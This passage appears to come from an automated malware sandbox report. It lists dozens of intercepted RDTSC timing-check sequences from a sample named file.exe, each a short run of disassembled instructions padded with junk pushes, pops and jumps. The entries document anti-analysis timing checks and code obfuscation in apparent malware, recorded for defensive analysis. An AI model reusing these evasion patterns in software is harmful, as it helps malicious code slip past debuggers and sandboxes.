jl 00007FF40C70B05Ch 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1DEE second address: 7C1DF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1DF8 second address: 7C1DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1DFC second address: 7C1E00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1E00 second address: 7C1E20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ebx 0x0000000c pushad 0x0000000d jmp 00007FF40C70B061h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1E20 second address: 7C1E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [eax] 0x00000008 jnc 00007FF40CBDB942h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jno 00007FF40CBDB928h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1F8D second address: 7C1F91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1F91 second address: 7C2000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 xor dword ptr [esp], 3CCD7935h 0x0000000e mov esi, dword ptr [ebp+122D2005h] 0x00000014 jmp 00007FF40CBDB932h 0x00000019 push 00000003h 0x0000001b add dword ptr [ebp+122D362Ah], ebx 0x00000021 push 00000000h 0x00000023 and cx, 9B4Ah 0x00000028 push 00000003h 0x0000002a pushad 0x0000002b mov ecx, dword ptr [ebp+122D28A0h] 0x00000031 jns 00007FF40CBDB929h 0x00000037 popad 0x00000038 push EE23D73Ah 0x0000003d push ebx 0x0000003e pushad 0x0000003f jns 00007FF40CBDB926h 0x00000045 push esi 0x00000046 pop esi 0x00000047 popad 0x00000048 pop ebx 0x00000049 xor dword ptr [esp], 2E23D73Ah 0x00000050 clc 0x00000051 lea ebx, dword ptr [ebp+12455BDEh] 0x00000057 push ecx 0x00000058 clc 0x00000059 pop esi 0x0000005a xchg eax, ebx 0x0000005b pushad 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2101 second address: 7C2116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push ebx 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c pop ebx 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C21EC second address: 7C221D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40CBDB931h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF40CBDB933h 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pushad 0x00000015 popad 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C221D second address: 7C2224 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2224 second address: 7C2233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2233 second address: 7C2239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D39A1 second address: 7D39A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D39A5 second address: 7D39AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E11EA second address: 7E11F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF40CBDB926h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E11F4 second address: 7E1203 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1203 second address: 7E1207 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1207 second address: 7E120D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E14F3 second address: 7E14F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E14F9 second address: 7E1508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jp 00007FF40C70B05Eh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E17A4 second address: 7E17A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E17A8 second address: 7E17BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF40C70B060h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1A6B second address: 7E1A7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF40CBDB92Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1A7B second address: 7E1A81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1A81 second address: 7E1A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FF40CBDB92Eh 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1A91 second address: 7E1ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF40C70B066h 0x0000000d pushad 0x0000000e ja 00007FF40C70B056h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1ABA second address: 7E1ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1C38 second address: 7E1C3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1C3C second address: 7E1C45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1C45 second address: 7E1C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF40C70B060h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1C61 second address: 7E1C70 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF40CBDB926h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1C70 second address: 7E1C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2027 second address: 7E2046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF40CBDB926h 0x0000000a je 00007FF40CBDB926h 0x00000010 jne 00007FF40CBDB926h 0x00000016 popad 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2046 second address: 7E205E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF40C70B05Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E205E second address: 7E2062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2062 second address: 7E2068 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E21F5 second address: 7E2211 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FF40CBDB936h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2211 second address: 7E222D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF40C70B062h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D7E9B second address: 7D7EA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D7EA1 second address: 7D7EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF40C70B064h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D7EBD second address: 7D7ECB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF40CBDB926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E24FB second address: 7E2518 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF40C70B063h 0x00000009 jc 00007FF40C70B056h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2518 second address: 7E251C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2F08 second address: 7E2F0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2F0C second address: 7E2F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2F12 second address: 7E2F28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FF40C70B05Bh 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop eax 0x0000000b push edi 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E77D4 second address: 7E77ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF40CBDB935h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E64B3 second address: 7E64B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E6CB1 second address: 7E6CB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7ECC second address: 7E7F01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B061h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jp 00007FF40C70B060h 0x00000011 pushad 0x00000012 jng 00007FF40C70B056h 0x00000018 push eax 0x00000019 pop eax 0x0000001a popad 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jng 00007FF40C70B05Ch 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7F01 second address: 7E7F05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AE786 second address: 7AE78A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0197 second address: 7F01A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FF40CBDB926h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF7E6 second address: 7EF7FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B061h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF7FD second address: 7EF807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF40CBDB926h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF807 second address: 7EF80B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF80B second address: 7EF81B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF81B second address: 7EF839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FF40C70B056h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF40C70B061h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF839 second address: 7EF83F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF9B7 second address: 7EF9BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF9BB second address: 7EF9C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF9C1 second address: 7EF9C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFCDE second address: 7EFCEC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF40CBDB928h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFCEC second address: 7EFCF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFFE5 second address: 7EFFED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFFED second address: 7F0007 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B066h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F1D60 second address: 7F1D72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40CBDB92Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F1E83 second address: 7F1EB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B067h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FF40C70B062h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F1EB8 second address: 7F1EEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40CBDB931h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e jmp 00007FF40CBDB938h 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F21B8 second address: 7F21BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F246D second address: 7F2474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2CCD second address: 7F2CD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2F73 second address: 7F2F7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2F7C second address: 7F2F87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F341B second address: 7F3420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3420 second address: 7F348C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B064h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e clc 0x0000000f or esi, 5D8D013Ch 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007FF40C70B058h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 xchg eax, ebx 0x00000032 js 00007FF40C70B067h 0x00000038 jmp 00007FF40C70B061h 0x0000003d push eax 0x0000003e push esi 0x0000003f pushad 0x00000040 jc 00007FF40C70B056h 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3E54 second address: 7F3E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3E58 second address: 7F3E5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3E5E second address: 7F3EFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40CBDB938h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c movsx edi, bx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FF40CBDB928h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b or dword ptr [ebp+122D3864h], esi 0x00000031 mov edi, dword ptr [ebp+122D1D1Ch] 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ecx 0x0000003c call 00007FF40CBDB928h 0x00000041 pop ecx 0x00000042 mov dword ptr [esp+04h], ecx 0x00000046 add dword ptr [esp+04h], 0000001Ah 0x0000004e inc ecx 0x0000004f push ecx 0x00000050 ret 0x00000051 pop ecx 0x00000052 ret 0x00000053 xor dword ptr [ebp+1247FC3Ch], esi 0x00000059 xchg eax, ebx 0x0000005a jmp 00007FF40CBDB934h 0x0000005f push eax 0x00000060 pushad 0x00000061 jnp 00007FF40CBDB928h 0x00000067 pushad 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4FDA second address: 7F4FFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B05Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF40C70B061h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6490 second address: 7F6496 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6496 second address: 7F649A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6E9C second address: 7F6EA2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F79CD second address: 7F79D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F79D1 second address: 7F79EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF40CBDB935h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F79EA second address: 7F79EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F84FD second address: 7F8507 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8507 second address: 7F850B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F820B second address: 7F820F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F820F second address: 7F8215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8215 second address: 7F8231 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF40CBDB928h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FF40CBDB92Bh 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
